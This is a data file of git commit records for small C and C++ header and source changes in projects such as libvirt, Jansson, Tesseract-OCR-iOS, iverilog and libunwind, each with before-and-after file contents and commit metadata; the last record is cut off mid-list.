{"commit":"bfdefc0f025657cb3ce4fb90044809b9456d1e5f","old_file":"src\/vbox\/vbox_V5_1.c","new_file":"src\/vbox\/vbox_V5_1.c","old_contents":"","new_contents":"\/** @file vbox_V5_1.c\n * C file to include support for multiple versions of VirtualBox\n * at runtime.\n *\/\n\n#include <config.h>\n\n\/** The API Version *\/\n#define VBOX_API_VERSION 5001000\n\/** Version specific prefix. *\/\n#define NAME(name) vbox51##name\n\n#include \"vbox_tmpl.c\"\n","subject":"Add vbox 5.1 driver file","message":"Add vbox 5.1 driver file\n\nSigned-off-by: Daniel P. Berrange <bb938cf255e055ff3507f2627d214e8e62118fcf@redhat.com>\n","lang":"C","license":"lgpl-2.1","repos":"olafhering\/libvirt,jfehlig\/libvirt,zippy2\/libvirt,crobinso\/libvirt,taget\/libvirt,andreabolognani\/libvirt,nertpinx\/libvirt,VenkatDatta\/libvirt,andreabolognani\/libvirt,nertpinx\/libvirt,jardasgit\/libvirt,andreabolognani\/libvirt,datto\/libvirt,andreabolognani\/libvirt,nertpinx\/libvirt,jardasgit\/libvirt,fabianfreyer\/libvirt,olafhering\/libvirt,jfehlig\/libvirt,libvirt\/libvirt,fabianfreyer\/libvirt,olafhering\/libvirt,eskultety\/libvirt,jfehlig\/libvirt,andreabolognani\/libvirt,datto\/libvirt,eskultety\/libvirt,jardasgit\/libvirt,crobinso\/libvirt,taget\/libvirt,taget\/libvirt,fabianfreyer\/libvirt,fabianfreyer\/libvirt,VenkatDatta\/libvirt,zippy2\/libvirt,eskultety\/libvirt,libvirt\/libvirt,datto\/libvirt,VenkatDatta\/libvirt,jfehlig\/libvirt,datto\/libvirt,zippy2\/libvirt,datto\/libvirt,VenkatDatta\/libvirt,libvirt\/libvirt,crobinso\/libvirt,olafhering\/libvirt,eskultety\/libvirt,zippy2\/libvirt,taget\/libvirt,jardasgit\/libvirt,libvirt\/libvirt,VenkatDatta\/libvirt,eskultety\/libvirt,crobinso\/libvirt,nertpinx\/libvirt,jardasgit\/libvirt,fabianfreyer\/libvirt,nertpinx\/libvirt,taget\/libvirt"}
{"commit":"c7611e7a0d2901ce05589c4815ca0f88c9788feb","old_file":"src\/utf.h","new_file":"src\/utf.h","old_contents":"\/*\n * Copyright (c) 2009, 2010 Petri Lehtinen <petri@digip.org>\n *\n * Jansson is free software; you can redistribute it and\/or modify\n * it under the terms of the MIT license. See LICENSE for details.\n *\/\n\n#ifndef UTF_H\n#define UTF_H\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#ifdef HAVE_INTTYPES_H\n\/* inttypes.h includes stdint.h in a standard environment, so there's\nno need to include stdint.h separately. If inttypes.h doesn't define\nint32_t, it's defined in config.h. *\/\n#include <inttypes.h>\n#else\n#ifdef _WIN32\ntypedef int int32_t;\n#endif\n#endif\n\nint utf8_encode(int codepoint, char *buffer, int *size);\n\nint utf8_check_first(char byte);\nint utf8_check_full(const char *buffer, int size, int32_t *codepoint);\nconst char *utf8_iterate(const char *buffer, int32_t *codepoint);\n\nint utf8_check_string(const char *string, int length);\n\n#endif\n","new_contents":"\/*\n * Copyright (c) 2009, 2010 Petri Lehtinen <petri@digip.org>\n *\n * Jansson is free software; you can redistribute it and\/or modify\n * it under the terms of the MIT license. See LICENSE for details.\n *\/\n\n#ifndef UTF_H\n#define UTF_H\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n\n#ifdef HAVE_INTTYPES_H\n\/* inttypes.h includes stdint.h in a standard environment, so there's\nno need to include stdint.h separately. If inttypes.h doesn't define\nint32_t, it's defined in config.h. *\/\n#include <inttypes.h>\n#endif \/* HAVE_INTTYPES_H *\/\n\n#else \/* !HAVE_CONFIG_H *\/\n#ifdef _WIN32\ntypedef int int32_t;\n#else \/* !_WIN32 *\/\n\/* Assume a standard environment *\/\n#include <inttypes.h>\n#endif \/* _WIN32 *\/\n\n#endif \/* HAVE_CONFIG_H *\/\n\nint utf8_encode(int codepoint, char *buffer, int *size);\n\nint utf8_check_first(char byte);\nint utf8_check_full(const char *buffer, int size, int32_t *codepoint);\nconst char *utf8_iterate(const char *buffer, int32_t *codepoint);\n\nint utf8_check_string(const char *string, int length);\n\n#endif\n","subject":"Make int32_t available when the configure script is not used","message":"Make int32_t available when the configure script is not used\n","lang":"C","license":"mit","repos":"markalanj\/jansson,yahoo\/ygloo-external-jansson,Mephistophiles\/jansson,rogerz\/jansson,chrullrich\/jansson,rogerz\/jansson,akheron\/jansson,yahoo\/ygloo-external-jansson,akheron\/jansson-debian,slackner\/jansson,attie\/jansson,firepick-delta\/FireSight,npmccallum\/jansson,Mephistophiles\/jansson,bstarynk\/jansson,chrullrich\/jansson,firepick1\/FireSight,OlehKulykov\/jansson,firepick1\/jansson,attie\/jansson,yahoo\/ygloo-external-jansson,rogerz\/jansson,markalanj\/jansson,simonfojtu\/FireSight,rogerz\/jansson,OlehKulykov\/jansson,liu3tao\/jansson,AmesianX\/jansson,wirebirdlabs\/featherweight-jansson,akheron\/jansson,simonfojtu\/FireSight,janetuk\/jansson,slackner\/jansson,janetuk\/jansson,akheron\/jansson-debian,firepick-delta\/FireSight,gameclosure\/jansson,gameclosure\/jansson,liu3tao\/jansson,akheron\/jansson,simonfojtu\/FireSight,janetuk\/jansson,yahoo\/ygloo-external-jansson,gameclosure\/jansson,akheron\/jansson-debian,AmesianX\/jansson,janetuk\/jansson,firepick1\/jansson,firepick1\/FireSight,npmccallum\/jansson,wirebirdlabs\/featherweight-jansson,markalanj\/jansson,firepick1\/jansson,bstarynk\/jansson,Vorne\/jansson,firepick-delta\/FireSight,firepick1\/FireSight,akheron\/jansson-debian,Vorne\/jansson,bstarynk\/jansson"}
{"commit":"d37ccd40dffd64fcad614f152f33ceb755112484","old_file":"func_sim\/func_memory\/func_memory.h","new_file":"func_sim\/func_memory\/func_memory.h","old_contents":"\/**\n * func_memory.h - Header of module implementing the concept of \n * programer-visible memory space accesing via memory address.\n * @author Alexander Titov <alexander.igorevich.titov@gmail.com>\n * Copyright 2012 uArchSim iLab project\n *\/\n\n\/\/ protection from multi-include\n#ifndef FUNC_MEMORY__FUNC_MEMORY_H\n#define FUNC_MEMORY__FUNC_MEMORY_H\n\n\/\/ Generic C++\n#include <string>\n#include <map>\n\n\/\/ uArchSim modules\n#include <types.h>\n#include <elf_parser.h>\n\nusing namespace std;\n\nclass FuncMemory\n{\n    map<uint64 \/*start addr*\/, ElfSection *> sections;\n    typedef map<uint64, ElfSection *>::iterator Iter;\n    typedef map<uint64, ElfSection *>::const_iterator ConstIter;\n    \n    \/\/ You could not create the object\n    \/\/ using this default constructor\n    FuncMemory(){}\n\npublic:\n    \n    FuncMemory( const char* executable_file_name,\n                const char* const elf_sections_names[],\n                short num_of_elf_sections);\n\n    virtual ~FuncMemory();\n    \n    uint64 read( uint64 addr, short num_of_bytes = 4) const;\n  \n    string dump( string indent = \"\") const;\n};\n\n#endif \/\/ #ifndef FUNC_MEMORY__FUNC_MEMORY_H\n","new_contents":"\/**\n * func_memory.h - Header of module implementing the concept of \n * programer-visible memory space accesing via memory address.\n * @author Alexander Titov <alexander.igorevich.titov@gmail.com>\n * Copyright 2012 uArchSim iLab project\n *\/\n\n\/\/ protection from multi-include\n#ifndef FUNC_MEMORY__FUNC_MEMORY_H\n#define FUNC_MEMORY__FUNC_MEMORY_H\n\n\/\/ Generic C++\n#include <string>\n\n\/\/ uArchSim modules\n#include <types.h>\n#include <elf_parser.h>\n\nusing namespace std;\n\nclass FuncMemory\n{\n    \/\/ You could not create the object\n    \/\/ using this default constructor\n    FuncMemory(){}\n\npublic:\n    \n    FuncMemory( const char* executable_file_name,\n                const char* const elf_sections_names[],\n                short num_of_elf_sections);\n\n    virtual ~FuncMemory();\n    \n    uint64 read( uint64 addr, short num_of_bytes = 4) const;\n  \n    string dump( string indent = \"\") const;\n};\n\n#endif \/\/ #ifndef FUNC_MEMORY__FUNC_MEMORY_H\n","subject":"Delete redundant staff from FuncMemory class","message":"[trunk] Delete redundant staff from FuncMemory class","lang":"C","license":"mit","repos":"Nagapetyan\/mipt-mips-2015,MIPT-ILab\/mipt-mips,MIPT-ILab\/mipt-mips-2015,RomanZavodskikh\/mipt-mips-2015,grigoriy-chirkov\/mipt-mips-2015,MIPT-ILab\/mipt-mips,RomanZavodskikh\/mipt-mips-2015,gkorepanov\/mipt-mips,RomanZavodskikh\/mipt-mips-2015,grigoriy-chirkov\/mipt-mips-2015,MIPT-ILab\/mipt-mips-2015,RomanZavodskikh\/mipt-mips-2015,MIPT-ILab\/mipt-mips-2015,Nagapetyan\/mipt-mips-2015,Nagapetyan\/mipt-mips-2015,Nagapetyan\/mipt-mips-2015,grigoriy-chirkov\/mipt-mips-2015,MIPT-ILab\/mipt-mips-2015,grigoriy-chirkov\/mipt-mips-2015"}
{"commit":"1a064e381c2f9978dbdb7103a6d9faed5e5f3e32","old_file":"StoreSim\/RegisterQueue.h","new_file":"StoreSim\/RegisterQueue.h","old_contents":"#pragma once\r\n\r\nclass RegisterQueue{\r\nprivate:\r\n\r\n\r\npublic:\r\n  int numberOfCustomers;\r\n  int maxLineLength;\r\n\r\n};\r\n","new_contents":"#pragma once\r\n#include \"Customer.h\"\r\n\r\nclass RegisterQueue{\r\nprivate:\r\n  struct Node {\r\n    Node *next; \/\/ After previous sequentially\r\n    Node *previous; \/\/ First in line\r\n    Customer value;\r\n    \/\/ @next = NULL, this is a shorthand constructor to make NULL the default\r\n    Node(Customer value, Node *previous = nullptr) {\r\n      this->previous = previous;\r\n      this->value = value;\r\n      this->next = nullptr;\r\n    }\r\n  };\r\n  double minToPay;\r\n  double minPerItem;\r\n  Node *front;\r\n  Node *rear;\r\n\r\n\r\npublic:\r\n  int numberOfCustomers;\r\n  int maxLineLength;\r\n  RegisterQueue(double minToPay, double minPerItem) {\r\n    front, rear = nullptr;\r\n    maxLineLength = 8;\r\n    numberOfCustomers = 0;\r\n  }\r\n  ~RegisterQueue() {\r\n    while (front) {\r\n      Node *next = front->next;\r\n      delete(front);\r\n      front = next;\r\n    }\r\n  }\r\n  void enqueue(Customer cust) {\r\n    if(numberOfCustomers >= maxLineLength)\r\n      throw(\"FullLineException\");\r\n    Node next = new Node(cust, rear);\r\n    if(!numberOfCustomers)\r\n      front = next;\r\n    if(rear)\r\n      rear->next = next;\r\n    rear = next;\r\n    numberOfCustomers++;\r\n  }\r\n  Customer dequeue() {\r\n    Customer person = front->value;\r\n    front = front->next;\r\n    delete(front->previous);\r\n    front->previous = nullptr;\r\n    numberOfCustomers--;\r\n    return person;\r\n  }\r\n};\r\n","subject":"Create \"checkout lines\" as DLinkedList","message":"Create \"checkout lines\" as DLinkedList\n","lang":"C","license":"mit","repos":"GPKyte\/CSCI220,GPKyte\/CSCI220"}
{"commit":"31a6e50a5f20b77c82cf2024ef8f0c8f586973b9","old_file":"TesseractOCR\/Tesseract.h","new_file":"TesseractOCR\/Tesseract.h","old_contents":"\/\/\n\/\/  Tesseract.h\n\/\/  Tesseract\n\/\/\n\/\/  Created by Loïs Di Qual on 24\/09\/12.\n\/\/  Copyright (c) 2012 Loïs Di Qual.\n\/\/  Under MIT License. See 'LICENCE' for more informations.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class Tesseract;\n\n@protocol TesseractDelegate <NSObject>\n@optional\n- (BOOL)shouldCancelImageRecognitionForTesseract:(Tesseract*)tesseract;\n@end\n\n@interface Tesseract : NSObject\n+ (NSString *)version;\n\n@property (nonatomic, strong) NSString* language;\n\n@property (nonatomic, strong) UIImage *image;\n@property (nonatomic, assign) CGRect rect;\n\n@property (nonatomic, readonly) short progress; \/\/ from 0 to 100\n@property (nonatomic, readonly) NSString *recognizedText;\n\n@property (nonatomic, weak) id<TesseractDelegate> delegate;\n\n\/\/\/\n\/\/\/ @warning deprecated method!\n\/\/\/ @deprecated\t- (id)initWithDataPath:(NSString *)dataPath language:(NSString *)language is deprecated. Please use - (id)initWithLanguage:(NSString*)language;\n\/\/\/\n- (id)initWithDataPath:(NSString *)dataPath language:(NSString *)language DEPRECATED_ATTRIBUTE;\n- (id)initWithLanguage:(NSString*)language;\n- (void)setVariableValue:(NSString *)value forKey:(NSString *)key;\n\n- (BOOL)recognize;\n- (void)clear;\n\n@end\n","new_contents":"\/\/\n\/\/  Tesseract.h\n\/\/  Tesseract\n\/\/\n\/\/  Created by Loïs Di Qual on 24\/09\/12.\n\/\/  Copyright (c) 2012 Loïs Di Qual.\n\/\/  Under MIT License. See 'LICENCE' for more informations.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class Tesseract;\n\n@protocol TesseractDelegate <NSObject>\n@optional\n- (BOOL)shouldCancelImageRecognitionForTesseract:(Tesseract*)tesseract;\n@end\n\n@interface Tesseract : NSObject\n+ (NSString *)version;\n\n@property (nonatomic, strong) NSString* language;\n\n@property (nonatomic, strong) UIImage *image;\n@property (nonatomic, assign) CGRect rect;\n\n@property (nonatomic, readonly) short progress; \/\/ from 0 to 100\n@property (nonatomic, readonly) NSString *recognizedText;\n\n@property (nonatomic, weak) id<TesseractDelegate> delegate;\n\n\/\/\/\n\/\/\/ @warning deprecated method!\n\/\/\/ @deprecated\t- (id)initWithDataPath:(NSString *)dataPath language:(NSString *)language is deprecated. Please use - (id)initWithLanguage:(NSString*)language;\n\/\/\/\n- (id)initWithDataPath:(NSString *)dataPath language:(NSString *)language DEPRECATED_ATTRIBUTE;\n- (id)initWithLanguage:(NSString*)language;\n- (void)setVariableValue:(NSString *)value forKey:(NSString *)key;\n\n- (BOOL)recognize;\n\n\/\/\/\n\/\/\/ @warning deprecated method!\n\/\/\/ @deprecated\t- (void)clear is deprecated. The memory will be freed in dealloc added by ARC;\n\/\/\/\n- (void)clear DEPRECATED_ATTRIBUTE;\n\n@end\n","subject":"Add a deprecated warning for - (void)clear.","message":"Add a deprecated warning for - (void)clear.\n","lang":"C","license":"mit","repos":"gank0326\/Tesseract,lampkicking\/Tesseract-OCR-iOS,zyggit\/Tesseract-OCR-iOS,hejunbinlan\/Tesseract-OCR-iOS,DanielShum\/Tesseract-OCR-iOS,doo\/Tesseract-OCR-iOS,StratAguilar\/Tesseract-OCR-iOS,gank0326\/Tesseract,lampkicking\/Tesseract-OCR-iOS,ws233\/Tesseract-OCR-iOS,Jaelene\/Tesseract-OCR-iOS,gali8\/Tesseract-OCR-iOS,cotsog\/Tesseract-OCR-iOS,zilaiyedaren\/Tesseract-OCR-iOS,jonesgithub\/Tesseract-OCR-iOS,Richardlihui\/Tesseract-OCR-iOS,amikey\/Tesseract-OCR-iOS,ws233\/Tesseract-OCR-iOS,zyggit\/Tesseract-OCR-iOS,DanielShum\/Tesseract-OCR-iOS,StratAguilar\/Tesseract-OCR-iOS,cotsog\/Tesseract-OCR-iOS,zilaiyedaren\/Tesseract-OCR-iOS,zilaiyedaren\/Tesseract-OCR-iOS,Jaelene\/Tesseract-OCR-iOS,cookov\/Tesseract-OCR-iOS,ryhor\/Tesseract-OCR-iOS,lioonline\/Tesseract-OCR-iOS,ninguchi\/Tesseract-OCR-iOS,gali8\/Tesseract-OCR-iOS,hoanganh6491\/Tesseract-OCR-iOS,DanielShum\/Tesseract-OCR-iOS,amikey\/Tesseract-OCR-iOS,gali8\/Tesseract-OCR-iOS,yangboz\/Tesseract-OCR-iOS,lioonline\/Tesseract-OCR-iOS,jeremiahyan\/Tesseract-OCR-iOS,lioonline\/Tesseract-OCR-iOS,zilaiyedaren\/Tesseract-OCR-iOS,wenbo001\/Tesseract-OCR-iOS,ChandlerNguyen\/Tesseract-OCR-iOS,ryhor\/Tesseract-OCR-iOS,cookov\/Tesseract-OCR-iOS,lioonline\/Tesseract-OCR-iOS,lioonline\/Tesseract-OCR-iOS,IncredibleDucky\/Tesseract-OCR-iOS,StratAguilar\/Tesseract-OCR-iOS,hejunbinlan\/Tesseract-OCR-iOS,zilaiyedaren\/Tesseract-OCR-iOS,hejunbinlan\/Tesseract-OCR-iOS,ChandlerNguyen\/Tesseract-OCR-iOS,cookov\/Tesseract-OCR-iOS,hoanganh6491\/Tesseract-OCR-iOS,DanielShum\/Tesseract-OCR-iOS,StratAguilar\/Tesseract-OCR-iOS,doo\/Tesseract-OCR-iOS,amikey\/Tesseract-OCR-iOS,jeremiahyan\/Tesseract-OCR-iOS,ChandlerNguyen\/Tesseract-OCR-iOS,hoanganh6491\/Tesseract-OCR-iOS,lampkicking\/Tesseract-OCR-iOS,Richardlihui\/Tesseract-OCR-iOS,jonesgithub\/Tesseract-OCR-iOS,ChandlerNguyen\/Tesseract-OCR-iOS,ryhor\/Tesseract-OCR-iOS,Jaelene\/Tesseract-OCR-iOS,hoanganh6491\/Tesseract-OCR-iOS,jonesgithub\/Tesseract-OCR-iOS,ChandlerNguyen\/Tesseract-OCR-iOS,cookov\/Tesseract-OCR-iOS,yangboz\/Tesseract-OCR-iOS,zyggit\/Tesseract-OCR-iOS,yangboz\/Tesseract-OCR-iOS,hoanganh6491\/Tesseract-OCR-iOS,gali8\/Tesseract-OCR-iOS,zyggit\/Tesseract-OCR-iOS,jonesgithub\/Tesseract-OCR-iOS,lampkicking\/Tesseract-OCR-iOS,ws233\/Tesseract-OCR-iOS,cotsog\/Tesseract-OCR-iOS,jonesgithub\/Tesseract-OCR-iOS,jeremiahyan\/Tesseract-OCR-iOS,IncredibleDucky\/Tesseract-OCR-iOS,Jaelene\/Tesseract-OCR-iOS,Jaelene\/Tesseract-OCR-iOS,IncredibleDucky\/Tesseract-OCR-iOS,gank0326\/Tesseract,DanielShum\/Tesseract-OCR-iOS,ninguchi\/Tesseract-OCR-iOS,gank0326\/Tesseract,doo\/Tesseract-OCR-iOS,doo\/Tesseract-OCR-iOS,ws233\/Tesseract-OCR-iOS,doo\/Tesseract-OCR-iOS,wenbo001\/Tesseract-OCR-iOS,cookov\/Tesseract-OCR-iOS,ninguchi\/Tesseract-OCR-iOS,jeremiahyan\/Tesseract-OCR-iOS,wenbo001\/Tesseract-OCR-iOS,ws233\/Tesseract-OCR-iOS,yangboz\/Tesseract-OCR-iOS,yangboz\/Tesseract-OCR-iOS,jeremiahyan\/Tesseract-OCR-iOS,ninguchi\/Tesseract-OCR-iOS,IncredibleDucky\/Tesseract-OCR-iOS,amikey\/Tesseract-OCR-iOS,StratAguilar\/Tesseract-OCR-iOS,lampkicking\/Tesseract-OCR-iOS,IncredibleDucky\/Tesseract-OCR-iOS,cotsog\/Tesseract-OCR-iOS,hejunbinlan\/Tesseract-OCR-iOS,ninguchi\/Tesseract-OCR-iOS,cotsog\/Tesseract-OCR-iOS,wenbo001\/Tesseract-OCR-iOS,doo\/Tesseract-OCR-iOS,amikey\/Tesseract-OCR-iOS,zyggit\/Tesseract-OCR-iOS,wenbo001\/Tesseract-OCR-iOS,Richardlihui\/Tesseract-OCR-iOS,gank0326\/Tesseract,ryhor\/Tesseract-OCR-iOS,hejunbinlan\/Tesseract-OCR-iOS,Richardlihui\/Tesseract-OCR-iOS,gali8\/Tesseract-OCR-iOS,Richardlihui\/Tesseract-OCR-iOS,doo\/Tesseract-OCR-iOS,ryhor\/Tesseract-OCR-iOS"}
{"commit":"082418d73b3473c0842f2664a69b4d731b5cf0e9","old_file":"netarray.h","new_file":"netarray.h","old_contents":"","new_contents":"#ifndef __netarray_H\n#define __netarray_H\n\/*\n * Copyright (c) 2012 Stephen Williams (steve@icarus.com)\n * Copyright CERN 2012 \/ Stephen Williams (steve@icarus.com)\n *\n *    This source code is free software; you can redistribute it\n *    and\/or modify it in source code form under the terms of the GNU\n *    General Public License as published by the Free Software\n *    Foundation; either version 2 of the License, or (at your option)\n *    any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA\n *\/\n\n# include  \"LineInfo.h\"\n# include  <vector>\n\nclass netarray_t : public LineInfo {\n\n    public:\n      explicit netarray_t(const std::list<netrange_t>&packed);\n      ~netarray_t();\n\n      unsigned packed_width() const;\n\n    private:\n      std::list<netrange_t> packed_dims_;\n\n};\n\ninline netarray_t::netarray_t(const std::list<netrange_t>&packed)\n: packed_dims_(packed)\n{\n}\n\nnetarray_t::~netarray_t()\n{\n}\n\n#endif\n","subject":"Add missing netdarray.h header file.","message":"Add missing netdarray.h header file.\n","lang":"C","license":"lgpl-2.1","repos":"CastMi\/iverilog,CastMi\/iverilog,themperek\/iverilog,themperek\/iverilog,themperek\/iverilog,CastMi\/iverilog"}
{"commit":"e524e7ee97dcc87aee0616328e9be64d1c3daf57","old_file":"The_Eye\/inc\/Biquad_Filter.h","new_file":"The_Eye\/inc\/Biquad_Filter.h","old_contents":"\/*\r\n * Biquad_Filter.h\r\n *\r\n *  Created on: 24. 6. 2017\r\n *      Author: michp\r\n *\/\r\n\r\n#ifndef BIQUAD_FILTER_H_\r\n#define BIQUAD_FILTER_H_\r\n\r\n#include <cmath>\r\n\r\nnamespace flyhero {\r\n\r\n\/\/ Many thanks to http:\/\/www.earlevel.com\/main\/2012\/11\/26\/biquad-c-source-code\/\r\n\r\nclass Biquad_Filter {\r\nprivate:\r\n\tconst double PI = 3.14159265358979323846;\r\n\r\n\tfloat a0, a1, a2;\r\n\tfloat b1, b2;\r\n\tfloat z1, z2;\r\npublic:\r\n\tenum Filter_Type { FILTER_LOW_PASS, FILTER_NOTCH };\r\n\r\n\tBiquad_Filter(Filter_Type type, float sample_frequency, float cut_frequency);\r\n\r\n\tinline float Apply_Filter(float value);\r\n};\r\n\r\n\/\/ 10 us\r\nfloat Biquad_Filter::Apply_Filter(float value) {\r\n\tfloat ret = value * this->a0 + this->z1;\r\n\tthis->z1 = value * this->a1 + this->z2 - this->b1 * ret;\r\n\tthis->z2 = value * this->a2 - this->b2 * ret;\r\n\r\n\treturn ret;\r\n}\r\n\r\n} \/* namespace flyhero *\/\r\n\r\n#endif \/* BIQUAD_FILTER_H_ *\/\r\n","new_contents":"\/*\r\n * Biquad_Filter.h\r\n *\r\n *  Created on: 24. 6. 2017\r\n *      Author: michp\r\n *\/\r\n\r\n#ifndef BIQUAD_FILTER_H_\r\n#define BIQUAD_FILTER_H_\r\n\r\n#include <cmath>\r\n\r\nnamespace flyhero {\r\n\r\n\/\/ Many thanks to http:\/\/www.earlevel.com\/main\/2012\/11\/26\/biquad-c-source-code\/\r\n\r\nclass Biquad_Filter {\r\nprivate:\r\n\tconst double PI = 3.14159265358979323846;\r\n\r\n\tfloat a0, a1, a2;\r\n\tfloat b1, b2;\r\n\tfloat z1, z2;\r\npublic:\r\n\tenum Filter_Type { FILTER_LOW_PASS, FILTER_NOTCH };\r\n\r\n\tBiquad_Filter(Filter_Type type, float sample_frequency, float cut_frequency);\r\n\r\n\tinline float Apply_Filter(float value);\r\n};\r\n\r\n\/\/ 10 us\r\n\/\/ https:\/\/en.wikipedia.org\/wiki\/Digital_biquad_filter - Transposed direct forms\r\nfloat Biquad_Filter::Apply_Filter(float value) {\r\n\tfloat ret = value * this->a0 + this->z1;\r\n\tthis->z1 = value * this->a1 + this->z2 - this->b1 * ret;\r\n\tthis->z2 = value * this->a2 - this->b2 * ret;\r\n\r\n\treturn ret;\r\n}\r\n\r\n} \/* namespace flyhero *\/\r\n\r\n#endif \/* BIQUAD_FILTER_H_ *\/\r\n","subject":"Add source of formulas used in biquad filters","message":"Add source of formulas used in biquad filters","lang":"C","license":"mit","repos":"michprev\/flyhero-esp32,michprev\/flyhero-esp32"}
{"commit":"49444c722a3915e3eba1d478432f10fb32742a22","old_file":"src\/test\/call2.c","new_file":"src\/test\/call2.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint assertCount, errorCount;\n\nvoid assertEq(int x, int y){\n    assertCount++; if(x == y) return; errorCount++;\n    printf(\"ASSERTION %d FAILED: %d does not equal %d\\n\", assertCount, x, y);\n}\n\nvoid endTest(){\n    if(errorCount > 0) printf(\"TEST FAILED: Encountered %d assertion error%s out of %d!\", errorCount, errorCount==1?\"\":\"s\", assertCount);\n    else printf(\"TEST SUCCESSFUL: All %d assertions passed!\", assertCount);\n}\n\nint a = 5;\n\nint f(int b) {\n    return a * b;\n}\n\nint main() {\n    assertEq(f(4), 20);\n    a = 3;\n    assertEq(f(4), 12);\n    endTest();\n}\n","subject":"Test function that uses global value","message":"Test function that uses global value\n","lang":"C","license":"mit","repos":"Sibert-Aerts\/c2p,Sibert-Aerts\/c2p,Sibert-Aerts\/c2p"}
{"commit":"597f26ce83a9cf540db9b4af20b34066c931fdf1","old_file":"src\/mi-init.c","new_file":"src\/mi-init.c","old_contents":"","new_contents":"\/* libunwind - a platform-independent unwind library\n   Copyright (C) 2002-2003 Hewlett-Packard Co\n\tContributed by David Mosberger-Tang <davidm@hpl.hp.com>\n\nThis file is part of libunwind.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and\/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.  *\/\n\n#include <stdlib.h>\n\n#include \"internal.h\"\n#include \"tdep.h\"\n\nsigset_t unwi_full_sigmask;\n\nHIDDEN void\nmi_init (void)\n{\n  extern void unw_cursor_t_is_too_small (void);\n\n#if UNW_DEBUG\n    const char *str = getenv (\"UNW_DEBUG_LEVEL\");\n\n    if (str)\n      tdep_debug_level = atoi (str);\n#endif\n\n  if (sizeof (struct cursor) > sizeof (unw_cursor_t))\n    unw_cursor_t_is_too_small ();\n\n  sigfillset (&unwi_full_sigmask);\n}\n","subject":"Include \"tdep.h\". (unwi_full_sigmask): Define here. (mi_init): Initialize unwi_full_sigmask.","message":"Include \"tdep.h\".\n(unwi_full_sigmask): Define here.\n(mi_init): Initialize unwi_full_sigmask.\n\n(Logical change 1.59)\n","lang":"C","license":"mit","repos":"olibc\/libunwind,atanasyan\/libunwind-android,Chilledheart\/libunwind,libunwind\/libunwind,joyent\/libunwind,rntz\/libunwind,tronical\/libunwind,atanasyan\/libunwind,libunwind\/libunwind,pathscale\/libunwind,geekboxzone\/lollipop_external_libunwind,atanasyan\/libunwind-android,rantala\/libunwind,Keno\/libunwind,jrmuizel\/libunwind,fillexen\/libunwind,rntz\/libunwind,krytarowski\/libunwind,Keno\/libunwind,igprof\/libunwind,androidarmv6\/android_external_libunwind,0xlab\/0xdroid-external_libunwind,frida\/libunwind,cms-externals\/libunwind,zeldin\/platform_external_libunwind,fillexen\/libunwind,pathscale\/libunwind,libunwind\/libunwind,CyanogenMod\/android_external_libunwind,wdv4758h\/libunwind,dagar\/libunwind,martyone\/libunwind,android-ia\/platform_external_libunwind,zliu2014\/libunwind-tilegx,rogwfu\/libunwind,lat\/libunwind,zliu2014\/libunwind-tilegx,cloudius-systems\/libunwind,project-zerus\/libunwind,yuyichao\/libunwind,martyone\/libunwind,frida\/libunwind,ehsan\/libunwind,tkelman\/libunwind,igprof\/libunwind,dreal-deps\/libunwind,djwatson\/libunwind,SyndicateRogue\/libunwind,atanasyan\/libunwind,lat\/libunwind,dagar\/libunwind,tkelman\/libunwind,evaautomation\/libunwind,adsharma\/libunwind,tony\/libunwind,joyent\/libunwind,CyanogenMod\/android_external_libunwind,androidarmv6\/android_external_libunwind,ehsan\/libunwind,project-zerus\/libunwind,vegard\/libunwind,geekboxzone\/lollipop_external_libunwind,unkadoug\/libunwind,olibc\/libunwind,vegard\/libunwind,yuyichao\/libunwind,Chilledheart\/libunwind,djwatson\/libunwind,vtjnash\/libunwind,SyndicateRogue\/libunwind,cloudius-systems\/libunwind,geekboxzone\/mmallow_external_libunwind,lat\/libunwind,geekboxzone\/lollipop_external_libunwind,dreal-deps\/libunwind,mpercy\/libunwind,fillexen\/libunwind,fdoray\/libunwind,mpercy\/libunwind,DroidSim\/platform_external_libunwind,atanasyan\/libunwind,olibc\/libunwind,dropbox\/libunwind,pathscale\/libunwind,dagar\/libunwind,geekboxzone\/mmallow_external_libunwind,tony\/libunwind,vtjnash\/libunwind,bo-on-software\/libunwind,igprof\/libunwind,androidarmv6\/android_external_libunwind,0xlab\/0xdroid-external_libunwind,Keno\/libunwind,dropbox\/libunwind,cms-externals\/libunwind,atanasyan\/libunwind-android,rntz\/libunwind,evaautomation\/libunwind,adsharma\/libunwind,SyndicateRogue\/libunwind,djwatson\/libunwind,krytarowski\/libunwind,jrmuizel\/libunwind,android-ia\/platform_external_libunwind,maltek\/platform_external_libunwind,jrmuizel\/libunwind,wdv4758h\/libunwind,cloudius-systems\/libunwind,fdoray\/libunwind,bo-on-software\/libunwind,cms-externals\/libunwind,CyanogenMod\/android_external_libunwind,joyent\/libunwind,mpercy\/libunwind,unkadoug\/libunwind,tkelman\/libunwind,zeldin\/platform_external_libunwind,DroidS